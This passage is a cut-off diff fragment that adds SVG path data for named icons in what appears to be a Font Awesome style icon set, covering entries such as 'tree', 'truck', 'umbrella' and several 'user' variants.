0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z" ], + "trash-restore-alt": [ 448, 512, [], "f82a", "M32 464a48 48 0 0 0 48 48h288a48 48 0 0 0 48-48V128H32zm91.31-172.8l89.38-94.26a15.41 15.41 0 0 1 22.62 0l89.38 94.26c10.08 10.62 2.94 28.8-11.32 28.8H256v112a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16V320h-57.37c-14.26 0-21.4-18.18-11.32-28.8zM432 32H312l-9.4-18.7A24 24 0 0 0 281.1 0H166.8a23.72 23.72 0 0 0-21.4 13.3L136 32H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z" ], + tree: [ 384, 512, [], "f1bb", "M378.31 378.49L298.42 288h30.63c9.01 0 16.98-5 20.78-13.06 3.8-8.04 2.55-17.26-3.28-24.05L268.42 160h28.89c9.1 0 17.3-5.35 20.86-13.61 3.52-8.13 1.86-17.59-4.24-24.08L203.66 4.83c-6.03-6.45-17.28-6.45-23.32 0L70.06 122.31c-6.1 6.49-7.75 15.95-4.24 24.08C69.38 154.65 77.59 160 86.69 160h28.89l-78.14 90.91c-5.81 6.78-7.06 15.99-3.27 24.04C37.97 283 45.93 288 54.95 288h30.63L5.69 378.49c-6 6.79-7.36 16.09-3.56 24.26 3.75 8.05 12 13.25 21.01 13.25H160v24.45l-30.29 48.4c-5.32 10.64 2.42 23.16 14.31 23.16h95.96c11.89 0 19.63-12.52 14.31-23.16L224 440.45V416h136.86c9.01 0 17.26-5.2 21.01-13.25 3.8-8.17 2.44-17.47-3.56-24.26z" ], + trophy: [ 576, 512, [], "f091", "M552 64H448V24c0-13.3-10.7-24-24-24H152c-13.3 0-24 10.7-24 24v40H24C10.7 64 0 74.7 0 88v56c0 35.7 22.5 72.4 61.9 100.7 31.5 22.7 69.8 37.1 110 41.7C203.3 338.5 240 360 240 360v72h-48c-35.3 0-64 20.7-64 56v12c0 6.6 5.4 12 12 12h296c6.6 0 12-5.4 12-12v-12c0-35.3-28.7-56-64-56h-48v-72s36.7-21.5 68.1-73.6c40.3-4.6 78.6-19 110-41.7 39.3-28.3 61.9-65 61.9-100.7V88c0-13.3-10.7-24-24-24zM99.3 192.8C74.9 175.2 64 155.6 64 144v-16h64.2c1 32.6 5.8 61.2 12.8 86.2-15.1-5.2-29.2-12.4-41.7-21.4zM512 144c0 16.1-17.7 36.1-35.3 48.8-12.5 9-26.7 16.2-41.8 21.4 7-25 11.8-53.6 12.8-86.2H512v16z" ], + truck: [ 640, 512, [], "f0d1", "M624 352h-16V243.9c0-12.7-5.1-24.9-14.1-33.9L494 110.1c-9-9-21.2-14.1-33.9-14.1H416V48c0-26.5-21.5-48-48-48H48C21.5 0 0 21.5 0 48v320c0 26.5 21.5 48 48 48h16c0 53 43 96 96 96s96-43 96-96h128c0 53 43 96 96 96s96-43 96-96h48c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zM160 464c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm320 0c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm80-208H416V144h44.1l99.9 99.9V256z" ], + "truck-loading": [ 640, 512, [], "f4de", "M50.2 375.6c2.3 8.5 11.1 13.6 19.6 11.3l216.4-58c8.5-2.3 13.6-11.1 11.3-19.6l-49.7-185.5c-2.3-8.5-11.1-13.6-19.6-11.3L151 133.3l24.8 92.7-61.8 16.5-24.8-92.7-77.3 20.7C3.4 172.8-1.7 181.6.6 190.1l49.6 185.5zM384 0c-17.7 0-32 14.3-32 32v323.6L5.9 450c-4.3 1.2-6.8 5.6-5.6 9.8l12.6 46.3c1.2 4.3 5.6 6.8 9.8 5.6l393.7-107.4C418.8 464.1 467.6 512 528 512c61.9 0 112-50.1 112-112V0H384zm144 448c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48z" ], + "truck-monster": [ 640, 512, [], "f63b", "M624 224h-16v-64c0-17.67-14.33-32-32-32h-73.6L419.22 24.02A64.025 64.025 0 0 0 369.24 0H256c-17.67 0-32 14.33-32 32v96H48c-8.84 0-16 7.16-16 16v80H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h16.72c29.21-38.65 75.1-64 127.28-64s98.07 25.35 127.28 64h65.45c29.21-38.65 75.1-64 127.28-64s98.07 25.35 127.28 64H624c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm-336-96V64h81.24l51.2 64H288zm304 224h-5.2c-2.2-7.33-5.07-14.28-8.65-20.89l3.67-3.67c6.25-6.25 6.25-16.38 0-22.63l-22.63-22.63c-6.25-6.25-16.38-6.25-22.63 0l-3.67 3.67A110.85 110.85 0 0 0 512 277.2V272c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v5.2c-7.33 2.2-14.28 5.07-20.89 8.65l-3.67-3.67c-6.25-6.25-16.38-6.25-22.63 0l-22.63 22.63c-6.25 6.25-6.25 16.38 0 22.63l3.67 3.67A110.85 110.85 0 0 0 373.2 352H368c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h5.2c2.2 7.33 5.07 14.28 8.65 20.89l-3.67 3.67c-6.25 6.25-6.25 16.38 0 22.63l22.63 22.63c6.25 6.25 16.38 6.25 22.63 0l3.67-3.67c6.61 3.57 13.57 6.45 20.9 8.65v5.2c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-5.2c7.33-2.2 14.28-5.07 20.9-8.65l3.67 3.67c6.25 6.25 16.38 6.25 22.63 0l22.63-22.63c6.25-6.25 6.25-16.38 0-22.63l-3.67-3.67a110.85 110.85 0 0 0 8.65-20.89h5.2c8.84 0 16-7.16 16-16v-32c-.02-8.84-7.18-16-16.02-16zm-112 80c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm-208-80h-5.2c-2.2-7.33-5.07-14.28-8.65-20.89l3.67-3.67c6.25-6.25 6.25-16.38 0-22.63l-22.63-22.63c-6.25-6.25-16.38-6.25-22.63 0l-3.67 3.67A110.85 110.85 0 0 0 192 277.2V272c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v5.2c-7.33 2.2-14.28 5.07-20.89 8.65l-3.67-3.67c-6.25-6.25-16.38-6.25-22.63 0L58.18 304.8c-6.25 6.25-6.25 16.38 0 22.63l3.67 3.67a110.85 110.85 0 0 0-8.65 20.89H48c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h5.2c2.2 7.33 5.07 14.28 8.65 20.89l-3.67 3.67c-6.25 6.25-6.25 16.38 0 22.63l22.63 22.63c6.25 6.25 16.38 6.25 22.63 0l3.67-3.67c6.61 3.57 13.57 6.45 20.9 8.65v5.2c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-5.2c7.33-2.2 14.28-5.07 20.9-8.65l3.67 3.67c6.25 6.25 16.38 6.25 22.63 0l22.63-22.63c6.25-6.25 6.25-16.38 0-22.63l-3.67-3.67a110.85 110.85 0 0 0 8.65-20.89h5.2c8.84 0 16-7.16 16-16v-32C288 359.16 280.84 352 272 352zm-112 80c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48z" ], + "truck-moving": [ 640, 512, [], "f4df", "M621.3 237.3l-58.5-58.5c-12-12-28.3-18.7-45.3-18.7H480V64c0-17.7-14.3-32-32-32H32C14.3 32 0 46.3 0 64v336c0 44.2 35.8 80 80 80 26.3 0 49.4-12.9 64-32.4 14.6 19.6 37.7 32.4 64 32.4 44.2 0 80-35.8 80-80 0-5.5-.6-10.8-1.6-16h163.2c-1.1 5.2-1.6 10.5-1.6 16 0 44.2 35.8 80 80 80s80-35.8 80-80c0-5.5-.6-10.8-1.6-16H624c8.8 0 16-7.2 16-16v-85.5c0-17-6.7-33.2-18.7-45.2zM80 432c-17.6 0-32-14.4-32-32s14.4-32 32-32 32 14.4 32 32-14.4 32-32 32zm128 0c-17.6 0-32-14.4-32-32s14.4-32 32-32 32 14.4 32 32-14.4 32-32 32zm272-224h37.5c4.3 0 8.3 1.7 11.3 4.7l43.3 43.3H480v-48zm48 224c-17.6 0-32-14.4-32-32s14.4-32 32-32 32 14.4 32 32-14.4 32-32 32z" ], + "truck-pickup": [ 640, 512, [], "f63c", "M624 288h-16v-64c0-17.67-14.33-32-32-32h-48L419.22 56.02A64.025 64.025 0 0 0 369.24 32H256c-17.67 0-32 14.33-32 32v128H64c-17.67 0-32 14.33-32 32v64H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h49.61c-.76 5.27-1.61 10.52-1.61 16 0 61.86 50.14 112 112 112s112-50.14 112-112c0-5.48-.85-10.73-1.61-16h67.23c-.76 5.27-1.61 10.52-1.61 16 0 61.86 50.14 112 112 112s112-50.14 112-112c0-5.48-.85-10.73-1.61-16H624c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM288 96h81.24l76.8 96H288V96zM176 416c-26.47 0-48-21.53-48-48s21.53-48 48-48 48 21.53 48 48-21.53 48-48 48zm288 0c-26.47 0-48-21.53-48-48s21.53-48 48-48 48 21.53 48 48-21.53 48-48 48z" ], + tshirt: [ 640, 512, [], "f553", "M631.2 96.5L436.5 0C416.4 27.8 371.9 47.2 320 47.2S223.6 27.8 203.5 0L8.8 96.5c-7.9 4-11.1 13.6-7.2 21.5l57.2 114.5c4 7.9 13.6 11.1 21.5 7.2l56.6-27.7c10.6-5.2 23 2.5 23 14.4V480c0 17.7 14.3 32 32 32h256c17.7 0 32-14.3 32-32V226.3c0-11.8 12.4-19.6 23-14.4l56.6 27.7c7.9 4 17.5.8 21.5-7.2L638.3 118c4-7.9.8-17.6-7.1-21.5z" ], + tty: [ 512, 512, [], "f1e4", "M5.37 103.822c138.532-138.532 362.936-138.326 501.262 0 6.078 6.078 7.074 15.496 2.583 22.681l-43.214 69.138a18.332 18.332 0 0 1-22.356 7.305l-86.422-34.569a18.335 18.335 0 0 1-11.434-18.846L351.741 90c-62.145-22.454-130.636-21.986-191.483 0l5.953 59.532a18.331 18.331 0 0 1-11.434 18.846l-86.423 34.568a18.334 18.334 0 0 1-22.356-7.305L2.787 126.502a18.333 18.333 0 0 1 2.583-22.68zM96 308v-40c0-6.627-5.373-12-12-12H44c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm-336 96v-40c0-6.627-5.373-12-12-12H92c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zM96 500v-40c0-6.627-5.373-12-12-12H44c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm288 0v-40c0-6.627-5.373-12-12-12H140c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h232c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12z" ], + tv: [ 640, 512, [], "f26c", "M592 0H48A48 48 0 0 0 0 48v320a48 48 0 0 0 48 48h240v32H112a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16H352v-32h240a48 48 0 0 0 48-48V48a48 48 0 0 0-48-48zm-16 352H64V64h512z" ], + umbrella: [ 576, 512, [], "f0e9", "M575.7 280.8C547.1 144.5 437.3 62.6 320 49.9V32c0-17.7-14.3-32-32-32s-32 14.3-32 32v17.9C138.3 62.6 29.5 144.5.3 280.8c-2.2 10.1 8.5 21.3 18.7 11.4 52-55 107.7-52.4 158.6 37 5.3 9.5 14.9 8.6 19.7 0 20.2-35.4 44.9-73.2 90.7-73.2 58.5 0 88.2 68.8 90.7 73.2 4.8 8.6 14.4 9.5 19.7 0 51-89.5 107.1-91.4 158.6-37 10.3 10 20.9-1.3 18.7-11.4zM256 301.7V432c0 8.8-7.2 16-16 16-7.8 0-13.2-5.3-15.1-10.7-5.9-16.7-24.1-25.4-40.8-19.5-16.7 5.9-25.4 24.2-19.5 40.8 11.2 31.9 41.6 53.3 75.4 53.3 44.1 0 80-35.9 80-80V301.6c-9.1-7.9-19.8-13.6-32-13.6-12.3.1-22.4 4.8-32 13.7z" ], + "umbrella-beach": [ 640, 512, [], "f5ca", "M115.38 136.9l102.11 37.18c35.19-81.54 86.21-144.29 139-173.7-95.88-4.89-188.78 36.96-248.53 111.8-6.69 8.4-2.66 21.05 7.42 24.72zm132.25 48.16l238.48 86.83c35.76-121.38 18.7-231.66-42.63-253.98-7.4-2.7-15.13-4-23.09-4-58.02.01-128.27 69.17-172.76 171.15zM521.48 60.5c6.22 16.3 10.83 34.6 13.2 55.19 5.74 49.89-1.42 108.23-18.95 166.98l102.62 37.36c10.09 3.67 21.31-3.43 21.57-14.17 2.32-95.69-41.91-187.44-118.44-245.36zM560 447.98H321.06L386 269.5l-60.14-21.9-72.9 200.37H16c-8.84 0-16 7.16-16 16.01v32.01C0 504.83 7.16 512 16 512h544c8.84 0 16-7.17 16-16.01v-32.01c0-8.84-7.16-16-16-16z" ], + underline: [ 448, 512, [], "f0cd", "M32 64h32v160c0 88.22 71.78 160 160 160s160-71.78 160-160V64h32a16 16 0 0 0 16-16V16a16 16 0 0 0-16-16H272a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32v160a80 80 0 0 1-160 0V64h32a16 16 0 0 0 16-16V16a16 16 0 0 0-16-16H32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm400 384H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z" ], + undo: [ 512, 512, [], "f0e2", "M212.333 224.333H12c-6.627 0-12-5.373-12-12V12C0 5.373 5.373 0 12 0h48c6.627 0 12 5.373 12 12v78.112C117.773 39.279 184.26 7.47 258.175 8.007c136.906.994 246.448 111.623 246.157 248.532C504.041 393.258 393.12 504 256.333 504c-64.089 0-122.496-24.313-166.51-64.215-5.099-4.622-5.334-12.554-.467-17.42l33.967-33.967c4.474-4.474 11.662-4.717 16.401-.525C170.76 415.336 211.58 432 256.333 432c97.268 0 176-78.716 176-176 0-97.267-78.716-176-176-176-58.496 0-110.28 28.476-142.274 72.333h98.274c6.627 0 12 5.373 12 12v48c0 6.627-5.373 12-12 12z" ], + "undo-alt": [ 512, 512, [], "f2ea", "M255.545 8c-66.269.119-126.438 26.233-170.86 68.685L48.971 40.971C33.851 25.851 8 36.559 8 57.941V192c0 13.255 10.745 24 24 24h134.059c21.382 0 32.09-25.851 16.971-40.971l-41.75-41.75c30.864-28.899 70.801-44.907 113.23-45.273 92.398-.798 170.283 73.977 169.484 169.442C423.236 348.009 349.816 424 256 424c-41.127 0-79.997-14.678-110.63-41.556-4.743-4.161-11.906-3.908-16.368.553L89.34 422.659c-4.872 4.872-4.631 12.815.482 17.433C133.798 479.813 192.074 504 256 504c136.966 0 247.999-111.033 248-247.998C504.001 119.193 392.354 7.755 255.545 8z" ], + "universal-access": [ 512, 512, [], "f29a", "M256 48c114.953 0 208 93.029 208 208 0 114.953-93.029 208-208 208-114.953 0-208-93.029-208-208 0-114.953 93.029-208 208-208m0-40C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm0 56C149.961 64 64 149.961 64 256s85.961 192 192 192 192-85.961 192-192S362.039 64 256 64zm0 44c19.882 0 36 16.118 36 36s-16.118 36-36 36-36-16.118-36-36 16.118-36 36-36zm117.741 98.023c-28.712 6.779-55.511 12.748-82.14 15.807.851 101.023 12.306 123.052 25.037 155.621 3.617 9.26-.957 19.698-10.217 23.315-9.261 3.617-19.699-.957-23.316-10.217-8.705-22.308-17.086-40.636-22.261-78.549h-9.686c-5.167 37.851-13.534 56.208-22.262 78.549-3.615 9.255-14.05 13.836-23.315 10.217-9.26-3.617-13.834-14.056-10.217-23.315 12.713-32.541 24.185-54.541 25.037-155.621-26.629-3.058-53.428-9.027-82.141-15.807-8.6-2.031-13.926-10.648-11.895-19.249s10.647-13.926 19.249-11.895c96.686 22.829 124.283 22.783 220.775 0 8.599-2.03 17.218 3.294 19.249 11.895 2.029 8.601-3.297 17.219-11.897 19.249z" ], + university: [ 512, 512, [], "f19c", "M496 128v16a8 8 0 0 1-8 8h-24v12c0 6.627-5.373 12-12 12H60c-6.627 0-12-5.373-12-12v-12H24a8 8 0 0 1-8-8v-16a8 8 0 0 1 4.941-7.392l232-88a7.996 7.996 0 0 1 6.118 0l232 88A8 8 0 0 1 496 128zm-24 304H40c-13.255 0-24 10.745-24 24v16a8 8 0 0 0 8 8h464a8 8 0 0 0 8-8v-16c0-13.255-10.745-24-24-24zM96 192v192H60c-6.627 0-12 5.373-12 12v20h416v-20c0-6.627-5.373-12-12-12h-36V192h-64v192h-64V192h-64v192h-64V192H96z" ], + unlink: [ 512, 512, [], "f127", "M304.083 405.907c4.686 4.686 4.686 12.284 0 16.971l-44.674 44.674c-59.263 59.262-155.693 59.266-214.961 0-59.264-59.265-59.264-155.696 0-214.96l44.675-44.675c4.686-4.686 12.284-4.686 16.971 0l39.598 39.598c4.686 4.686 4.686 12.284 0 16.971l-44.675 44.674c-28.072 28.073-28.072 73.75 0 101.823 28.072 28.072 73.75 28.073 101.824 0l44.674-44.674c4.686-4.686 12.284-4.686 16.971 0l39.597 39.598zm-56.568-260.216c4.686 4.686 12.284 4.686 16.971 0l44.674-44.674c28.072-28.075 73.75-28.073 101.824 0 28.072 28.073 28.072 73.75 0 101.823l-44.675 44.674c-4.686 4.686-4.686 12.284 0 16.971l39.598 39.598c4.686 4.686 12.284 4.686 16.971 0l44.675-44.675c59.265-59.265 59.265-155.695 0-214.96-59.266-59.264-155.695-59.264-214.961 0l-44.674 44.674c-4.686 4.686-4.686 12.284 0 16.971l39.597 39.598zm234.828 359.28l22.627-22.627c9.373-9.373 9.373-24.569 0-33.941L63.598 7.029c-9.373-9.373-24.569-9.373-33.941 0L7.029 29.657c-9.373 9.373-9.373 24.569 0 33.941l441.373 441.373c9.373 9.372 24.569 9.372 33.941 0z" ], + unlock: [ 448, 512, [], "f09c", "M400 256H152V152.9c0-39.6 31.7-72.5 71.3-72.9 40-.4 72.7 32.1 72.7 72v16c0 13.3 10.7 24 24 24h32c13.3 0 24-10.7 24-24v-16C376 68 307.5-.3 223.5 0 139.5.3 72 69.5 72 153.5V256H48c-26.5 0-48 21.5-48 48v160c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V304c0-26.5-21.5-48-48-48z" ], + "unlock-alt": [ 448, 512, [], "f13e", "M400 256H152V152.9c0-39.6 31.7-72.5 71.3-72.9 40-.4 72.7 32.1 72.7 72v16c0 13.3 10.7 24 24 24h32c13.3 0 24-10.7 24-24v-16C376 68 307.5-.3 223.5 0 139.5.3 72 69.5 72 153.5V256H48c-26.5 0-48 21.5-48 48v160c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V304c0-26.5-21.5-48-48-48zM264 408c0 22.1-17.9 40-40 40s-40-17.9-40-40v-48c0-22.1 17.9-40 40-40s40 17.9 40 40v48z" ], + upload: [ 512, 512, [], "f093", "M296 384h-80c-13.3 0-24-10.7-24-24V192h-87.7c-17.8 0-26.7-21.5-14.1-34.1L242.3 5.7c7.5-7.5 19.8-7.5 27.3 0l152.2 152.2c12.6 12.6 3.7 34.1-14.1 34.1H320v168c0 13.3-10.7 24-24 24zm216-8v112c0 13.3-10.7 24-24 24H24c-13.3 0-24-10.7-24-24V376c0-13.3 10.7-24 24-24h136v8c0 30.9 25.1 56 56 56h80c30.9 0 56-25.1 56-56v-8h136c13.3 0 24 10.7 24 24zm-124 88c0-11-9-20-20-20s-20 9-20 20 9 20 20 20 20-9 20-20zm64 0c0-11-9-20-20-20s-20 9-20 20 9 20 20 20 20-9 20-20z" ], + user: [ 448, 512, [], "f007", "M224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm89.6 32h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-74.2-60.2-134.4-134.4-134.4z" ], + "user-alt": [ 512, 512, [], "f406", "M256 288c79.5 0 144-64.5 144-144S335.5 0 256 0 112 64.5 112 144s64.5 144 144 144zm128 32h-55.1c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16H128C57.3 320 0 377.3 0 448v16c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48v-16c0-70.7-57.3-128-128-128z" ], + "user-alt-slash": [ 640, 512, [], "f4fa", "M633.8 458.1L389.6 269.3C433.8 244.7 464 198.1 464 144 464 64.5 399.5 0 320 0c-67.1 0-123 46.1-139 108.2L45.5 3.4C38.5-2 28.5-.8 23 6.2L3.4 31.4c-5.4 7-4.2 17 2.8 22.4l588.4 454.7c7 5.4 17 4.2 22.5-2.8l19.6-25.3c5.4-6.8 4.1-16.9-2.9-22.3zM198.4 320C124.2 320 64 380.2 64 454.4v9.6c0 26.5 21.5 48 48 48h382.2L245.8 320h-47.4z" ], + "user-astronaut": [ 448, 512, [], "f4fb", "M64 224h13.5c24.7 56.5 80.9 96 146.5 96s121.8-39.5 146.5-96H384c8.8 0 16-7.2 16-16v-96c0-8.8-7.2-16-16-16h-13.5C345.8 39.5 289.6 0 224 0S102.2 39.5 77.5 96H64c-8.8 0-16 7.2-16 16v96c0 8.8 7.2 16 16 16zm40-88c0-22.1 21.5-40 48-40h144c26.5 0 48 17.9 48 40v24c0 53-43 96-96 96h-48c-53 0-96-43-96-96v-24zm72 72l12-36 36-12-36-12-12-36-12 36-36 12 36 12 12 36zm151.6 113.4C297.7 340.7 262.2 352 224 352s-73.7-11.3-103.6-30.6C52.9 328.5 0 385 0 454.4v9.6c0 26.5 21.5 48 48 48h80v-64c0-17.7 14.3-32 32-32h128c17.7 0 32 14.3 32 32v64h80c26.5 0 48-21.5 48-48v-9.6c0-69.4-52.9-125.9-120.4-133zM272 448c-8.8 0-16 7.2-16 16s7.2 16 16 16 16-7.2 16-16-7.2-16-16-16zm-96 0c-8.8 0-16 7.2-16 16v48h32v-48c0-8.8-7.2-16-16-16z" ], + "user-check": [ 640, 512, [], "f4fc", "M224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm89.6 32h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-74.2-60.2-134.4-134.4-134.4zm323-128.4l-27.8-28.1c-4.6-4.7-12.1-4.7-16.8-.1l-104.8 104-45.5-45.8c-4.6-4.7-12.1-4.7-16.8-.1l-28.1 27.9c-4.7 4.6-4.7 12.1-.1 16.8l81.7 82.3c4.6 4.7 12.1 4.7 16.8.1l141.3-140.2c4.6-4.7 4.7-12.2.1-16.8z" ], + "user-circle": [ 496, 512, [], "f2bd", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 96c48.6 0 88 39.4 88 88s-39.4 88-88 88-88-39.4-88-88 39.4-88 88-88zm0 344c-58.7 0-111.3-26.6-146.5-68.2 18.8-35.4 55.6-59.8 98.5-59.8 2.4 0 4.8.4 7.1 1.1 13 4.2 26.6 6.9 40.9 6.9 14.3 0 28-2.7 40.9-6.9 2.3-.7 4.7-1.1 7.1-1.1 42.9 0 79.7 24.4 98.5 59.8C359.3 421.4 306.7 448 248 448z" ], + "user-clock": [ 640, 512, [], "f4fd", "M496 224c-79.6 0-144 64.4-144 144s64.4 144 144 144 144-64.4 144-144-64.4-144-144-144zm64 150.3c0 5.3-4.4 9.7-9.7 9.7h-60.6c-5.3 0-9.7-4.4-9.7-9.7v-76.6c0-5.3 4.4-9.7 9.7-9.7h12.6c5.3 0 9.7 4.4 9.7 9.7V352h38.3c5.3 0 9.7 4.4 9.7 9.7v12.6zM320 368c0-27.8 6.7-54.1 18.2-77.5-8-1.5-16.2-2.5-24.6-2.5h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h347.1c-45.3-31.9-75.1-84.5-75.1-144zm-96-112c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128z" ], + "user-cog": [ 640, 512, [], "f4fe", "M610.5 373.3c2.6-14.1 2.6-28.5 0-42.6l25.8-14.9c3-1.7 4.3-5.2 3.3-8.5-6.7-21.6-18.2-41.2-33.2-57.4-2.3-2.5-6-3.1-9-1.4l-25.8 14.9c-10.9-9.3-23.4-16.5-36.9-21.3v-29.8c0-3.4-2.4-6.4-5.7-7.1-22.3-5-45-4.8-66.2 0-3.3.7-5.7 3.7-5.7 7.1v29.8c-13.5 4.8-26 12-36.9 21.3l-25.8-14.9c-2.9-1.7-6.7-1.1-9 1.4-15 16.2-26.5 35.8-33.2 57.4-1 3.3.4 6.8 3.3 8.5l25.8 14.9c-2.6 14.1-2.6 28.5 0 42.6l-25.8 14.9c-3 1.7-4.3 5.2-3.3 8.5 6.7 21.6 18.2 41.1 33.2 57.4 2.3 2.5 6 3.1 9 1.4l25.8-14.9c10.9 9.3 23.4 16.5 36.9 21.3v29.8c0 3.4 2.4 6.4 5.7 7.1 22.3 5 45 4.8 66.2 0 3.3-.7 5.7-3.7 5.7-7.1v-29.8c13.5-4.8 26-12 36.9-21.3l25.8 14.9c2.9 1.7 6.7 1.1 9-1.4 15-16.2 26.5-35.8 33.2-57.4 1-3.3-.4-6.8-3.3-8.5l-25.8-14.9zM496 400.5c-26.8 0-48.5-21.8-48.5-48.5s21.8-48.5 48.5-48.5 48.5 21.8 48.5 48.5-21.7 48.5-48.5 48.5zM224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm201.2 226.5c-2.3-1.2-4.6-2.6-6.8-3.9l-7.9 4.6c-6 3.4-12.8 5.3-19.6 5.3-10.9 0-21.4-4.6-28.9-12.6-18.3-19.8-32.3-43.9-40.2-69.6-5.5-17.7 1.9-36.4 17.9-45.7l7.9-4.6c-.1-2.6-.1-5.2 0-7.8l-7.9-4.6c-16-9.2-23.4-28-17.9-45.7.9-2.9 2.2-5.8 3.2-8.7-3.8-.3-7.5-1.2-11.4-1.2h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c10.1 0 19.5-3.2 27.2-8.5-1.2-3.8-2-7.7-2-11.8v-9.2z" ], + "user-edit": [ 640, 512, [], "f4ff", "M224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm89.6 32h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h274.9c-2.4-6.8-3.4-14-2.6-21.3l6.8-60.9 1.2-11.1 7.9-7.9 77.3-77.3c-24.5-27.7-60-45.5-99.9-45.5zm45.3 145.3l-6.8 61c-1.1 10.2 7.5 18.8 17.6 17.6l60.9-6.8 137.9-137.9-71.7-71.7-137.9 137.8zM633 268.9L595.1 231c-9.3-9.3-24.5-9.3-33.8 0l-37.8 37.8-4.1 4.1 71.8 71.7 41.8-41.8c9.3-9.4 9.3-24.5 0-33.9z" ], + "user-friends": [ 640, 512, [], "f500", "M192 256c61.9 0 112-50.1 112-112S253.9 32 192 32 80 82.1 80 144s50.1 112 112 112zm76.8 32h-8.3c-20.8 10-43.9 16-68.5 16s-47.6-6-68.5-16h-8.3C51.6 288 0 339.6 0 403.2V432c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48v-28.8c0-63.6-51.6-115.2-115.2-115.2zM480 256c53 0 96-43 96-96s-43-96-96-96-96 43-96 96 43 96 96 96zm48 32h-3.8c-13.9 4.8-28.6 8-44.2 8s-30.3-3.2-44.2-8H432c-20.4 0-39.2 5.9-55.7 15.4 24.4 26.3 39.7 61.2 39.7 99.8v38.4c0 2.2-.5 4.3-.6 6.4H592c26.5 0 48-21.5 48-48 0-61.9-50.1-112-112-112z" ], + 